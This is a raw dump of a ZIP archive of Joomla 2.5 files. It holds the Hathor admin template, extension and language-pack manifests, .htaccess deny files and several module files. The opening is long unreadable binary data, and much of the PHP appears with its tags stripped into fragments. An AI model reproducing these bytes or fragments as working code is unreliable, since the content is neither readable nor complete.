8`@S+jCP̀|1f8p2ή[Prv&E"ſ  Buy"r/\𰬸e1 /}t~.&DHEϹXo1Z  Hŀb@ėЋ2@Fy‚Эd[_ HuU@Mb * W}*"x^" -<6i/M /|H~%@m>T Eq0`I.i3 6 Կ M„4ŀl V\ Wdwր1 5 pP&W$OR)ڥww7:zhh`f .k<7+z67Q!7bGA"!FXi d.R .51 T.a@IEw+gU-\,`Tr%@X BܭILwQ{/Hb}DJ]!@_uGJ{CүHJzR Ճu Ҝ? :^Ε8  [o;/'WoB€r@Pc,]8/ 龌B1+QP:$᥀WfbLJazHr@5Azo2@i/a/? H";ctL ʆ\ӻ|R@"?; MyG>1V@ٟWvVNyN.J@|G}s[~ι,? 1?a@Xa@Xa@Xa@Xa@X`rλO N~\'";9ޒV>A\^HF\ڪzedi.&uSYГERׅ^~[W(v% 1W_4grcoY'fѸӍ(ͽni="[ʻzMOȞL֥mӹlbK9;Ʋ>ϺJSxFkQOIXBŋ'AC*EDVvwukWJ*U-eO1mX㺈ML(>]Y9 i(ۊgS [ZoK/CP^ ӰC t.YÄ iԌ"Ki/ԍzM1hnz\ZV<){ hG =25m)\LQnz4_iaqIpŎkgHd.\T*DF]m-pO[E%Ǫ'OZq# $^S_rjiI+Rm]@]IR=(YD9ޠ ӕ`/MܓtI\w2 v< m[ l!EYڭJ,>4R|o>#Qxu./;`?:ihjcwiGa?)Yb}:C{-hx X(۵Ҿ0`8,$?ALq& Y`/Haa \xŬŹHS:- zߩh7Zy-Id]D$F.h4yP̈́ܧS-FWVn~f. anIWǧv~F4xB)XH&V?WֹS9:YXa@Xa@Xa@Xa@Xa@䳀ߊ?״dEt'eͅi'v >/7@Rw*㽝k57M]۞b 6vڮn!ɵ>"K9R4 @ypZ[4:J0wUelZyh #eP+YY/&VK9VL9u,Qhg>v${n*0\-ZEYÒR)M%Y[Xܳ<+`[cc3ǴGϠe$8ƳOF <8ȤOra|$dGwt/zd,5Rү;V=`QhnH[GVKj|e F'׉e HF "Y w.T"`?j*.i%R3 | (h$+Kn4v w,A5pǻ,/Qրh< 8|.d4Zı0NƎ~pVkqےS9 Em :H/ @'k@w-_|b4(u{|;@F7E(TX2bbЅp)KaF"zۀdp&QzDݥ \b>:vo .iyá&<酄gg}WWbUTt@f@ldώ:PjH;ƔjM(< f,URf4nY]4G?c@&*/EE&׿r Rt VH&JXScx5(y!cQ; Uè8'%@*} .e jP{ 6< w4)Cxʂ *j|J^df? TI_T_S?łNA RcaA躎NI(-H?XUg[0OJo68!CLAE5~zv"GC;*GEe$CIDT+=IEԶDpPAH_`H9[Խ."6\ ŢwFuhFc:b0ˇ4 Ņw(~R/ :'bǦcfыE1=IVcϥw{3ɝo@`p-֜I7Zh"f)*/h4'bMD3 _k@O^Uc%* ;r75+9wN['E>zw=-}grt5pμQ(F|<^ 5j€f@& r觾 ͫ|/@nrUd@>`Lڣ`V=>ch@ @ׇ'@PGs6@Opc s2((y-5&q/…!UMOh=<aX ,A jw`.;t #y%FKctދl lxP=X-^ExB6zע #MS#[aaa@aaa@XXaaa@XXaaa@>䑅GH&4k,,?BbG@a R{zHr0 ,kX|iYa@Xaaa@XX7r!4}XΑ ~G jOToTy?l15 MgruLy"@nPjܤ ,'ɤ) [r}) -|$SeȀ0 ,{ɀ0 7 )zHjꓭ6X74mvt,͘8coqGXI#=P; , nk{a3)eac2i@a@+ ! ؃\U=ÙjܱW إ$/=KU:d5f$hfXxч46,Ȥ{F 5tPʕ}agl2#[;e r@1JGYqVdŚ SѢQ"?fܑ i@D -qr^~ĕW@d ]ML81vZ[Gs;fdr'N:ImN3 %Iqb0 7d4Cg9(@~ö1; bӪوDx*XL]Z>}8V< 7F$2kϋI@?Ca@T"gLV9aNrӽ!V4)pr%R.%@t^.nl\s6l+gl j^6HGr/DTBvoޡq@]S{XwIIk= d 5KџWr!Gq$~z}ڑԋ`ge$9Ja@M OUйH@DK e~( n7Lr4ȸ:x䈗 @ eMr9cWi&4o| Yj:7U$pY'}> n yN]ȳ~. Oj:`Fߪ.s+B|:Rm H<r؂Cq0=^Dm{yQy}7Qv|y=qKq;GQuVy"Ɗ}g0Q> 0"s+Pir@EbNk[âŻK"|7k<<!Uzg /qkSZV.Fr}a0mf^^`xfGNVu6C]Qw@^һx!3&WkPR_f؊MAJgi*?zU EF=<hp } E^3XSXxVd*G<>ȓkW QzEmaۃ*j{@PATs l螨qYegm8mAPBu娢0YC0REmg;jA`+T>a>k6|y Udӄ6%~89?\@zf q# C#dTdAF&|04[aT*j >HT%ss! TEa6X@J3RkpB F%"r[ַ1ؼ䤼ry}q@Iz# I ֑3-p4࣬jh;!Z-^yN+@ Q;@VW\;QK OG'BAT2{dAD54`5 b X/-}+Ȋ \@&7>K Qr``a 8h7+gυA5zHT*>G `T^*]y1HR!-@dDs(GVE|ѫ'z?i"Vjc}jv|? o_đgBA mQBE|SX!sX%!v鐉5R_;H_UUj/| "?}:!1@{KKcA[+(vL[ d|Wr(|rTVw J)>ΎvȤ>Eq+/׵ Vn%8aگ2q9㘏U Me}HP:p'57ƺ/*%ݼt|dbgXAx$; a;g@> := K,$\3Kd#]jŹ`< T|ԡp@6yhK"@*< ـ4C/o#'$ܾK- .$4 _G"{* A@*gbIz5f@~ 9u`1@_ H`,ID:cM,R1Ȧ`DC<pbﺲd 2-dgxрX?K\Hy#d<^{*D?39N1}Å)ýW&]PXg4mod#?}OD"@MF%bHd 9T4}gO%$uG;;>(Iڻ-zS{[ HIbwi:5.Y`} gQ@0ufkmi0Cxd}֗kV)JC1uzE0D2ǁSJ#QiQbmrj8 phL$@Ͽ0YNJd6ЭV{Z6 0!NkLkFEX @ :ݮP#?"@ HX Azbv_<~nH^1"Cd*GFQ4q8i%/ęG=G"@Bu P{iUphbZ A 6`9& ; #Jʥڿɬ'A~9 bo;${ 6ZҞA?vN' Eѯ3€rdG) ض^sl=W!Ҩ(+ҘЯ^JB6PdOQ̀"iڽC}bȂRy1%t5qRoخ]XmE9NbڶT#"iY(\+P`P=^srz(d@ŀ0 €0 €0 €0 , q>:pvg#Ư Q/~ggq4۔WS՝h6jq]w>H[̄Sz4בs ?T9wl&Nm ՑF@^Q{8cn9a@ڀt& FgXkb aRf GFCk6pxG6 @^.4!=(0?cIXB;q r p$-ŀ<  cݥ:o<Mk tҫ+^m&!uhQ^*>Ǯn`4bLpZyqvJ6 89 n|ޭYw.i@ ji!AC K`%Ơ"ic-HoqR(~̞M^/9P-?;,.Lqfd5_]! Mhi}@~> {CRqi+KNk[.'ӸIzjOe>m @.OׇAn^19A.YPH0  8נ-@wc@<h !b!d:mR={܏F#>A, 9#!2 pBtAz-+y XkW:dTXňHv2>jg~f @ ٠ۆy+qxdT>_ V&ݽX SFo?v!9 L'ii9~9Vl5^;ę+ٮ&v/VN<0$5<Ƚ MID S'cMnw½0lx;MӳZ* @ Igv62@-1w@y>;|$"7z׃p[wrCq9˲7 甼W| doҼ)ǀxmt@nImp5{&b}Hr!I.y @n 3  @ @     r:J!őI$ M-ړúk*Eű&cYWQf~ #\?ed0* UkmJxf]{7 A@T@$ˢµO$J7g1ɘեe =FS1Aʚ$#:I|$#c F{ ֱ Ghq/J/&aǴgQd~>* 3%aB/.zK|󇛗TAd}=@O٥4]T<3:΍\LF{T䞴6VfMbWZ@ Gi_W [8}M&))=P:ur=bA|MI0+*OQ=DA"MLWK&I gT R2ȃDΈ`8 cDQAIb%1SU 曓.9%Roy.{[՞233Zc٬.Su-]u4^[3SMEyT"3ZFT)!ɦqZ,'+}f<%&lprÀ؛aNg4W \JV*) ĤX.})^u *@lXF%xIc`Pkk 8TܵFDL.y,XKSE#n,tSMdYIP4'[ qi7/Sj*bDم:Si@25\rk templates/hathor/component.phpnuW+Aload('tpl_hathor', JPATH_ADMINISTRATOR) || $lang->load('tpl_hathor', JPATH_ADMINISTRATOR . '/templates/hathor/language'); $file = 'language/'.$lang->getTag().'/'.$lang->getTag().'.css'; ?> params->get('colourChoice')) : $colour = 'standard'; else : $colour = htmlspecialchars($this->params->get('colourChoice')); endif; ?> direction == 'rtl') : ?> params->get('boldText')) : ?> PK@y>\<[A~~templates/hathor/favicon.iconuW+A h(  #.#.͐PK͑Q͐P͑Q4@5@5@5@_͑Q͐P̐P͑Q̐P͐QҔ1G,5Q5@5@4?5@5@5@͑Q͑Q͑Q͑Q͐P͑QГ;ǑOz7?t#7C4@5@4@4@4@͐P`͑Q͑QΒQˎQƇNɊQԖ*.$1;7C5@5@5@v͐Qy͑QˎP_ŅQיv0;4@5@l͐Pe͑Q‚O?ćB諜_ljUԖ $5@4@DɊQ'ĄOƍQZyB|DrMgOѓ+lטaCN*,505-[DcvA~Fd?Zx_\)templates/hathor/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Ttemplates/hathor/error.phpnuW+A <?php echo $this->error->getCode(); ?> - <?php echo htmlspecialchars($this->error->getMessage(), ENT_QUOTES, 'UTF-8'); ?> direction == 'rtl') : ?>

              error->getCode() ?> -

              error->getMessage(), ENT_QUOTES, 'UTF-8'); ?>

              debug) : echo $this->renderBacktrace(); endif; ?>
              PK@y>\{templates/hathor/login.phpnuW+AgetTag().'/'.$lang->getTag().'.css'; ?> params->get('colourChoice')) : $colour = 'standard'; else : $colour = htmlspecialchars($this->params->get('colourChoice')); endif; ?> direction == 'rtl') : ?> params->get('boldText')) : ?>
              PK@y>\cvtemplates/hathor/index.phpnuW+AgetTag().'/'.$lang->getTag().'.css'; ?> params->get('colourChoice')) : $colour = 'standard'; else : $colour = htmlspecialchars($this->params->get('colourChoice')); endif; ?> direction == 'rtl') : ?> params->get('boldText')) : ?>
              '.JText::_('JGLOBAL_VIEW_SITE').''; // Print the logout link. $output[] = '' .($hideLinks ? '' : '').JText::_('JLOGOUT').($hideLinks ? '' : '').''; // Output the items. foreach ($output as $item) : echo $item; endforeach; ?>

              PK@y>\Vtemplates/hathor/index.htmlnuW+A PK@y>\)#templates/hathor/language/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V*templates/hathor/language/en-GB/index.htmlnuW+A PK@y>\GG4templates/hathor/language/en-GB/en-GB.tpl_hathor.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM HATHOR="Hathor Administrator template" TPL_HATHOR_ALTERNATE_MENU_DESC="Use the alternative menu which integrates mouse and keyboard. JavaScript Required. (The regular menu for Hathor is accessible with or without Javascript, but leaves the mouse and keyboard independent.)" TPL_HATHOR_ALTERNATE_MENU_LABEL="Alternative Menu" TPL_HATHOR_BOLD_TEXT_DESC="Use bold text" TPL_HATHOR_BOLD_TEXT_LABEL="Bold Text" TPL_HATHOR_CHECKMARK_ALL="Checkmark All" TPL_HATHOR_COLOUR_CHOICE_DESC="Select the colour palette to use with the template. You can use this option to select a high contrast version or use it to create custom branding." TPL_HATHOR_COLOUR_CHOICE_LABEL="Select Colour" TPL_HATHOR_COLOUR_CHOICE_STANDARD="Standard" TPL_HATHOR_COLOUR_CHOICE_HIGH_CONTRAST="High Contrast" TPL_HATHOR_COLOUR_CHOICE_BROWN="Brown" TPL_HATHOR_COM_MENUS_MENU="Menu" TPL_HATHOR_COM_MODULES_CUSTOM_POSITION_LABEL="Select" TPL_HATHOR_CPANEL_LINK_TEXT="Return to Control Panel" TPL_HATHOR_GO="Go" TPL_HATHOR_MAIN_MENU="Main Menu" TPL_HATHOR_SHOW_SITE_NAME_DESC="Show the site name in the template header" TPL_HATHOR_SHOW_SITE_NAME_LABEL="Show Site Name" TPL_HATHOR_SKIP_TO_MAIN_CONTENT="Skip to Main Content" TPL_HATHOR_SUB_MENU="Sub Menu" TPL_HATHOR_XML_DESCRIPTION="Hathor is an accessible administrator template for Joomla!. The Colour CSS files can also be used for custom colour branding." PK@y>\#%\))templates/hathor/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V$templates/hathor/language/index.htmlnuW+A PK@y>\T5 $templates/hathor/templateDetails.xmlnuW+A hathor May 2010 Andrea Tarr hathor@tarrconsulting.com http://www.tarrconsulting.com Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt 2.5.0 TPL_HATHOR_XML_DESCRIPTION component.php cpanel.php error.php favicon.ico index.html index.php login.php LICENSE.txt templateDetails.xml template_preview.png template_thumbnail.png css html images js language menu submenu toolbar title status icon cp_shell cpanel login debug footer language/en-GB/en-GB.tpl_hathor.ini language/en-GB/en-GB.tpl_hathor.sys.ini
              PK@y>\b!manifests/files/tinymce_zh-CN.xmlnuW+A TinyMCE zh-CN 2012.05.23 Joomla! China zhous1998@gmail.com www.joomla.cn Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved GNU General Public License version 2 or later; see LICENSE.txt 3.4.9 Joomla核心编辑器TinyMCE 3.4.9的简体中文语言包。Simplified Chinese Language Package for TinyMCE 3.4.9 in Joomla 2.5. tinymce/jscripts/tiny_mce/langs tinymce/jscripts/tiny_mce/plugins tinymce/jscripts/tiny_mce/themes PK@y>\%l>manifests/files/install.xmlnuW+A com_csvi 1366046923 15.04.2013 RolandD Cyber Produksi contact@csvimproved.com http://www.csvimproved.com © 2006-2013 RolandD Cyber Produksi. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt CTransifex https://compojoom.com es-ES.com_csvi.ini es-ES.com_csvi.sys.ini es-ES.com_csvi.ini PK@y>\Vmanifests/files/index.htmlnuW+A PK@y>\5&manifests/files/file_tinymce_de-DE.xmlnuW+A TinyMCE de-DE 2.5.7.1 13.09.2012 J!German team@jgerman.de http://www.jgerman.de Copyright (C) 2008 - 2012 J!German. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL Deutsche Editor (TinyMCE)-Übersetzung für Joomla! 2.5.7
              English (Englisch)German Editor (TinyMCE) translation for Joomla! 2.5.7 ]]>
              tinymce/jscripts/tiny_mce/langs/de.js tinymce/jscripts/tiny_mce/plugins/advhr/langs/de_dlg.js tinymce/jscripts/tiny_mce/plugins/advimage/langs/de_dlg.js tinymce/jscripts/tiny_mce/plugins/advlink/langs/de_dlg.js tinymce/jscripts/tiny_mce/plugins/autosave/langs/de.js tinymce/jscripts/tiny_mce/plugins/emotions/langs/de_dlg.js tinymce/jscripts/tiny_mce/plugins/fullpage/langs/de_dlg.js tinymce/jscripts/tiny_mce/plugins/media/langs/de_dlg.js tinymce/jscripts/tiny_mce/plugins/paste/langs/de_dlg.js tinymce/jscripts/tiny_mce/plugins/searchreplace/langs/de_dlg.js tinymce/jscripts/tiny_mce/plugins/style/langs/de_dlg.js tinymce/jscripts/tiny_mce/plugins/table/langs/de_dlg.js tinymce/jscripts/tiny_mce/plugins/template/langs/de_dlg.js tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/langs/de_dlg.js tinymce/jscripts/tiny_mce/themes/advanced/langs/de.js tinymce/jscripts/tiny_mce/themes/advanced/langs/de_dlg.js tinymce/jscripts/tiny_mce/themes/simple/langs/de.js
              PK@y>\ߌmanifests/files/joomla.xmlnuW+A files_joomla Joomla! Project admin@joomla.org www.joomla.org (C) 2005 - 2014 Open Source Matters. All rights reserved GNU General Public License version 2 or later; see LICENSE.txt 2.5.28 December 2014 FILES_JOOMLA_XML_DESCRIPTION administrator/components/com_admin/script.php administrator/components/com_admin/sql/updates/mysql administrator/components/com_admin/sql/updates/sqlsrv administrator/components/com_admin/sql/updates/sqlazure administrator cache cli components images includes language libraries logs media modules plugins templates tmp htaccess.txt web.config.txt LICENSE.txt README.txt index.php http://update.joomla.org/core/list.xml http://update.joomla.org/jed/list.xml PK@y>\)manifests/files/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Zm..!manifests/files/tinymce_be-by.xmlnuW+A TinyMCE be-BY 2012-02-03 Szarlej szarlej.demerit@gmail.com Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved GNU General Public License version 2 or later; see LICENSE.txt 3.4.8 Belarusian Language Package for TinyMCE 3.4.8 in Joomla 2.5 tinymce/jscripts/tiny_mce/langs tinymce/jscripts/tiny_mce/plugins tinymce/jscripts/tiny_mce/themes PK@y>\!++!manifests/files/TinyMCE_es-ES.xmlnuW+A TinyMCE es-ES Comunidad Joomla! info@comunidadjoomla.org http://www.comunidadjoomla.org (C) 2010-2012 spanish Translation Team http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL 3.5.2 2012-6-18 Successfully installed spanish language pack for TinyMCE 3.5.2 in Joomla 2.5 If you use other languages than English and spanish, Please make sure that you also installed all other language packs for TinyMCE before you enabling "Automatic Language Selection" through the following steps:
              1. Extensions
              2. Plugin Manager
              3. Editor - TinyMCE
              4. Basic Options
              5. Automatic Language Selection :: Yes
              6. Functionality :: Extended (Optional -- If you want to use full functions of TinyMCE)

              Please report any bugs or issues at the Comunidad Joomla! Translation forum

              Translated by: The spanish translation team of Comunidad Joomla!

              El paquete en español para el editor TinyMCE 3.5.2 se ha instalado con éxito sobre Joomla 2.5

              Si usted usa otros idiomas además del inglés y el español, por favor, asegúrese de que también instala los demás idiomas para el TinyMCE antes de habilitar la opción "Selección automática del idioma" por medio de los siguientes pasos:
              1. Extensiones
              2. Gestor de plugins
              3. Editor - TinyMCE
              4. Opciones básicas
              5. Selección automática del idioma :: Sí
              6. Funcionalidad :: Extendida (opcional -- Si usted desea usar las funcionalidades al completo del editor TinyMCE)

              Por favor, reporte cualquier bug o asunto relacionado a nuestro Foro de traducciones

              Traducción: El equipo de traducción de Comunidad Joomla!

              ]]>
              tinymce/jscripts/tiny_mce/langs/es.js tinymce/jscripts/tiny_mce/plugins/advhr/langs/es_dlg.js tinymce/jscripts/tiny_mce/plugins/advimage/langs/es_dlg.js tinymce/jscripts/tiny_mce/plugins/advlink/langs/es_dlg.js tinymce/jscripts/tiny_mce/plugins/autosave/langs/es.js tinymce/jscripts/tiny_mce/plugins/emotions/langs/es_dlg.js tinymce/jscripts/tiny_mce/plugins/fullpage/langs/es_dlg.js tinymce/jscripts/tiny_mce/plugins/media/langs/es_dlg.js tinymce/jscripts/tiny_mce/plugins/paste/langs/es_dlg.js tinymce/jscripts/tiny_mce/plugins/searchreplace/langs/es_dlg.js tinymce/jscripts/tiny_mce/plugins/style/langs/es_dlg.js tinymce/jscripts/tiny_mce/plugins/table/langs/es_dlg.js tinymce/jscripts/tiny_mce/plugins/template/langs/es_dlg.js tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/langs/es_dlg.js tinymce/jscripts/tiny_mce/themes/advanced/langs/es.js tinymce/jscripts/tiny_mce/themes/advanced/langs/es_dlg.js tinymce/jscripts/tiny_mce/themes/simple/langs/es.js
              PK@y>\m;h( ( !manifests/files/TinyMCE_bs-BA.xmlnuW+A TinyMCE bs-BA jezik Croatian Translation Team 2012-02-29 Copyright (C) 2005 - 2012 Open Source Matters and joomla.ba. All rights reserved. GNU General Public License version 2 or later dantes.delic@joomla.ba http://www.joomla.ba 3.4.3.2 Instalacija sadrži bosanski jezični paket (bs-BA) za TinyMCE 3.4.3.2 ugrađen u Joomla 2.5
              Ne zaboravite odabrati 'bih' jezik unutar Upravljanje dodacima: Editor - TinyMCE

              Greške prijevoda molimo prijavljujte na adresu: dantes.delic@joomla.ba

              ]]>
              tinymce/jscripts/tiny_mce/langs/bih.js tinymce/jscripts/tiny_mce/plugins/advhr/langs/bih_dlg.js tinymce/jscripts/tiny_mce/plugins/advimage/langs/bih_dlg.js tinymce/jscripts/tiny_mce/plugins/advlink/langs/bih_dlg.js tinymce/jscripts/tiny_mce/plugins/autosave/langs/bih.js tinymce/jscripts/tiny_mce/plugins/emotions/langs/bih_dlg.js tinymce/jscripts/tiny_mce/plugins/fullpage/langs/bih_dlg.js tinymce/jscripts/tiny_mce/plugins/media/langs/bih_dlg.js tinymce/jscripts/tiny_mce/plugins/paste/langs/bih_dlg.js tinymce/jscripts/tiny_mce/plugins/searchreplace/langs/bih_dlg.js tinymce/jscripts/tiny_mce/plugins/style/langs/bih_dlg.js tinymce/jscripts/tiny_mce/plugins/table/langs/bih_dlg.js tinymce/jscripts/tiny_mce/plugins/template/langs/bih_dlg.js tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/langs/bih_dlg.js tinymce/jscripts/tiny_mce/themes/advanced/langs/bih.js tinymce/jscripts/tiny_mce/themes/advanced/langs/bih_dlg.js tinymce/jscripts/tiny_mce/themes/simple/langs/bih.js
              PK@y>\O!manifests/libraries/simplepie.xmlnuW+A SimplePie simplepie 1.2 LIB_SIMPLEPIE_XML_DESCRIPTION 2004 Copyright (c) 2004-2009, Ryan Parman and Geoffrey Sneddon http://www.opensource.org/licenses/bsd-license.php BSD License SimplePie http://simplepie.org/ Joomla! http://www.joomla.org http://update.joomla.org/libraries/simplepie simplepie PK@y>\)manifests/libraries/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Vmanifests/libraries/index.htmlnuW+A PK@y>\MMmanifests/libraries/joomla.xmlnuW+A Joomla! Platform joomla 11.4 LIB_JOOMLA_XML_DESCRIPTION 2008 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL Joomla! Project admin@joomla.org http://www.joomla.org Joomla! http://www.joomla.org http://update.joomla.org/libraries/joomla joomla import.php loader.php platform.php PK@y>\}bb!manifests/libraries/phpmailer.xmlnuW+A PHPMailer phpmailer 5.2 LIB_PHPMAILER_XML_DESCRIPTION 2001 (c) 2001-2003, Brent R. Matzelle, (c) 2004-2009, Andy Prevost. All Rights Reserved., (c) 2010-2011, Jim Jagielski. All Rights Reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL PHPMailer jimjag@gmail.com https://code.google.com/a/apache-extras.org/p/phpmailer/ Joomla! http://www.joomla.org http://update.joomla.org/libraries/phpmailer phpmailer PK@y>\K8manifests/libraries/phputf8.xmlnuW+A phputf8 phputf8 0.5 LIB_PHPUTF8_XML_DESCRIPTION 2006 Copyright various authors http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL Harry Fuecks hfuecks@gmail.com http://sourceforge.net/projects/phputf8 Joomla! http://www.joomla.org http://update.joomla.org/libraries/phputf8 phputf8 PK@y>\)manifests/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Vmanifests/index.htmlnuW+A PK@y>\Q!manifests/packages/pkg_joomla.xmlnuW+A PKG_JOOMLA joomla 2.5.0 PKG_JOOMLA_XML_DESCRIPTION 2006 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL Joomla! Project admin@joomla.org http://www.joomla.org Joomla! http://www.joomla.org http://update.joomla.org/packages/joomla PK@y>\Vmanifests/packages/index.htmlnuW+A PK@y>\: $manifests/packages/tr-TR.install.xmlnuW+A Turkish Language Pack tr-TR 2.5.7.1 2012-09-12 Ümit Kenan Gönüllü bilgi@jt.gen.tr www.jt.gen.tr Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt Joomla 2.5 Turkish Language Package site_tr-TR.zip admin_tr-TR.zip PK@y>\"7  manifests/packages/pkg_es-ES.xmlnuW+A Spanish Language Pack es-ES 2.5.28.1 11 de enero del 2015 Spanish Translation Team: comunidadjoomla.org info@comunidadjoomla.org www.comunidadjoomla.org Copyright (C) 2005 - 2015 comunidadjoomla.org and Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt Spanish Translation Team www.comunidadjoomla.org Successfully installed the spanish language pack for Joomla! 2.5.28 with the TinyMCE 3.5.2 language files included. If you use other languages than English and spanish, please make sure that you also installed all other language packs for TinyMCE before you enabling "Automatic Language Selection" through the following steps:
              1. Extensions
              2. Plugin Manager
              3. Editor - TinyMCE
              4. Basic Options
              5. Automatic Language Selection :: Yes
              6. Functionality :: Extended (Optional -- If you want to use full functions of TinyMCE)

              Please report any bugs or issues at the Comunidad Joomla! Translation forum

              Translated by: The spanish translation team of Comunidad Joomla!

              El paquete en español para Joomla! 2.5.28, incluyendo los archivos del editor TinyMCE 3.5.2, se ha instalado correctamente

              Referente al idioma del editor TinyMCE, si usted usa otros idiomas además del inglés y el español, por favor, asegúrese de que también instala los demás idiomas para el TinyMCE antes de habilitar la opción "Selección automática del idioma" por medio de los siguientes pasos:
              1. Extensiones
              2. Gestor de plugins
              3. Editor - TinyMCE
              4. Opciones básicas
              5. Selección automática del idioma :: Sí
              6. Funcionalidad :: Extendida (opcional -- Si usted desea usar las funcionalidades al completo del editor TinyMCE)

              Por favor, reporte cualquier bug o asunto relacionado a nuestro Foro de traducciones

              Traducción: El equipo de traducción de Comunidad Joomla!

              ]]>
              site_es-ES.zip admin_es-ES.zip es-ES_TinyMCE_3.5.2.zip http://update.joomla.org/language/translationlist.xml
              PK@y>\)manifests/packages/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Oq? manifests/packages/pkg_cy-GB.xmlnuW+A English cy-GB Language Pack cy-GB 2.5.6.1 2.5.6.1 Joomla! Welsh Language Package admin_cy-GB.zip site_cy-GB.zip http://update.joomla.org/language/translationlist.xml PK@y>\/BBmanifests/packages/pkg_xmap.xmlnuW+A Xmap Package xmap 2.3.3 http://joomla.vargas.co.cr Joomla! Vargas http://joomla.vargas.co.cr The Site Map generator for Joomla! com_xmap.zip plg_com_content.zip plg_com_kunena.zip plg_com_sobipro.zip plg_com_mtree.zip plg_com_virtuemart.zip plg_com_weblinks.zip plg_com_k2.zip PK@y>\)!modules/mod_custom/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V"modules/mod_custom/tmpl/index.htmlnuW+A PK@y>\[a44#modules/mod_custom/tmpl/default.phpnuW+Acontent; PK@y>\% mod_custom Joomla! Project July 2004 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_CUSTOM_XML_DESCRIPTION mod_custom.php index.html tmpl en-GB.mod_custom.ini en-GB.mod_custom.sys.ini
              PK@y>\{!modules/mod_custom/mod_custom.phpnuW+Adef('prepare_content', 1)) { JPluginHelper::importPlugin('content'); $module->content = JHtml::_('content.prepare', $module->content, '', 'mod_custom.content'); } require JModuleHelper::getLayoutPath('mod_custom'); PK@y>\)modules/mod_custom/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Vmodules/mod_custom/index.htmlnuW+A PK@y>\Vmodules/index.htmlnuW+A PK@y>\V&modules/mod_multilangstatus/index.htmlnuW+A PK@y>\b3modules/mod_multilangstatus/mod_multilangstatus.phpnuW+Aget('layout', 'default')); PK@y>\Q3modules/mod_multilangstatus/mod_multilangstatus.xmlnuW+A mod_multilangstatus Joomla! Project September 2011 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_MULTILANGSTATUS_XML_DESCRIPTION mod_multilangstatus.php index.html tmpl language language/en-GB/en-GB.mod_multilangstatus.ini language/en-GB/en-GB.mod_multilangstatus.sys.ini
              PK@y>\).modules/mod_multilangstatus/language/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V/modules/mod_multilangstatus/language/index.htmlnuW+A PK@y>\ssLmodules/mod_multilangstatus/language/en-GB/en-GB.mod_multilangstatus.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MULTILANGSTATUS="Multilanguage Status" MOD_MULTILANGSTATUS_XML_DESCRIPTION="This module shows the status of the multilanguage parameters." PK@y>\ssHmodules/mod_multilangstatus/language/en-GB/en-GB.mod_multilangstatus.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MULTILANGSTATUS="Multilanguage Status" MOD_MULTILANGSTATUS_XML_DESCRIPTION="This module shows the status of the multilanguage parameters." PK@y>\)4modules/mod_multilangstatus/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V5modules/mod_multilangstatus/language/en-GB/index.htmlnuW+A PK@y>\)*modules/mod_multilangstatus/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6BB,modules/mod_multilangstatus/tmpl/default.phpnuW+A PK@y>\V+modules/mod_multilangstatus/tmpl/index.htmlnuW+A PK@y>\)%modules/mod_multilangstatus/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Vmodules/mod_toolbar/index.htmlnuW+A PK@y>\KCC$modules/mod_toolbar/tmpl/default.phpnuW+A\V#modules/mod_toolbar/tmpl/index.htmlnuW+A PK@y>\)"modules/mod_toolbar/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)modules/mod_toolbar/.htaccessnuW+A Order allow,deny Deny from all PK@y>\֋#modules/mod_toolbar/mod_toolbar.phpnuW+Arender('toolbar'); require JModuleHelper::getLayoutPath('mod_toolbar', $params->get('layout', 'default')); PK@y>\A#modules/mod_toolbar/mod_toolbar.xmlnuW+A mod_toolbar Joomla! Project Nov 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_TOOLBAR_XML_DESCRIPTION mod_toolbar.php index.html tmpl en-GB.mod_toolbar.ini en-GB.mod_toolbar.sys.ini
